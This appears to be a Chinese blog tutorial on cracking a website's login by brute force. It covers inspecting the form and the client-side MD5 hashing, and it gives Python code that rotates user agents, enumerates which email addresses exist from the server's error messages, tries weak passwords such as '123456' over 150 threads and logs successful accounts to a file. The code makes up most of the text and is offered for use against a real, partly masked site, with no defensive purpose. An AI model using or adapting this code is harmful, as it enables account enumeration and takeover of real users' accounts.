抓取登陆信息。
使用Post Form表单的形式,进行用户名和密码的提交。接下来我们看提交的用户名和密码。
查看网站的脚本,发现密码是先在本地做MD5处理之后,才发送到服务器的。
到了这一步,我们也就初步知道如何对该网站进行暴力破解了。
构造用于判断密码邮箱是否存在
user_agent = [
'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30',
'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)',
'Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)'
]
def save_pwd(user, pwd,desc):
with open("resut.txt","a+") as f:
f.write('user:'+ user + ' pwd:' + pwd + " desc:" + desc + '\n')
def user_test(username,password):
resp = ""
result = ""
url = "http://www.k*.htm"
pwd = password
user= username
md = hashlib.md5()
md.update(pwd)
password = md.hexdigest()
data = {'email':username,'password':password}
# 设置网页编码格式,解码获取到的中文字符
encoding = "gb18030"
# 构造http请求头,设置user-agent
header = {
"User-Agent": random.choice(user_agent),
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With':'XMLHttpRequest'
}
try:
requests.adapters.DEFAULT_RETRIES = 5
resp = requests.post(url, data=data, headers=header, timeout=335)
except requests.exceptions.ReadTimeout:
print("1")
time.sleep(10)
resp = requests.post(url, data=data, headers=header, timeout=335)
except requests.exceptions.Timeout:
print("2")
time.sleep(10)
resp = requests.post(url, data=data, headers=header, timeout=335)
except requests.exceptions.ConnectionError:
print("3")
time.sleep(10)
resp = requests.post(url, data=data, headers=header, timeout=335)
except socket.error:
time.sleep(10)
resp = requests.post(url, data=data, headers=header, timeout=335)
except BaseException as e:
print(e)
time.sleep(10)
resp = requests.post(url, data=data, headers=header, timeout=335)
resp.keep_alive = False
#print(resp.content)
try:
result = resp.content
json = resp.json()
print('邮箱:%s ,result:%s \n ' % (username,result))
if (json['message'].find('不存在') > -1):
#print('邮箱:%s 为空' % username )
return False
else:
print('邮箱: %s 存在' % username)
save_pwd(username, password, json['message'])
return True
except BaseException as e:
print("发送错误 e: %s result:%s response code:%d" % (e, result, resp.status_code ))
好了,我们获取到邮箱之后,就是要判断密码是否正确了,由于大部分人网站登陆,还是使用弱密码,我们可以到网上找一下相关的字典库,就可以直接破解了。
判断密码是否正确,我们只需要在判断邮箱存在之后,再加一个判断即可。
if(json['message'].find('错误') > -1):
print("邮箱: %s 密码: %s ,密码错误!" % (username,pwd))
return False
else:
print('邮箱: %s 密码: %s ,登陆成功!' % (username, pwd))
由于用户和密码验证较多,单一线程工作需要较长的时间,因此我们需要用上多线程,缩短密码破解时间。
def thread_bru(): # 破解子线程函数
#while not user_end_judge():pwd_queue.empty()
while not user_end_judge():
try:
pwd = ‘123456’
user = get_user_nbr()
#print pwd_test
#if user_test(user, pwd_test):
if user_test(user, pwd):
result = pwd
print ('破解 %s 成功,密码为: %s' % (user, pwd))
break
except BaseException as e:
print("破解子线程错误: %s" % e)
def brute(threads):
for i in range(threads):
t = threading.Thread(target=thread_bru)
t.start()
print('破解线程-->%s 启动' % t.ident)
while (not user_end_judge()): # 剩余口令集判断
print('\r 进度: 当前值 %d' % pwd_queue.qsize())
time.sleep(2)
#print('\n破解完毕')
if __name__ == "__main__":
brute(150)
好了,初步编写完成。我们先刷完一部电影过来看看最终结果吧。
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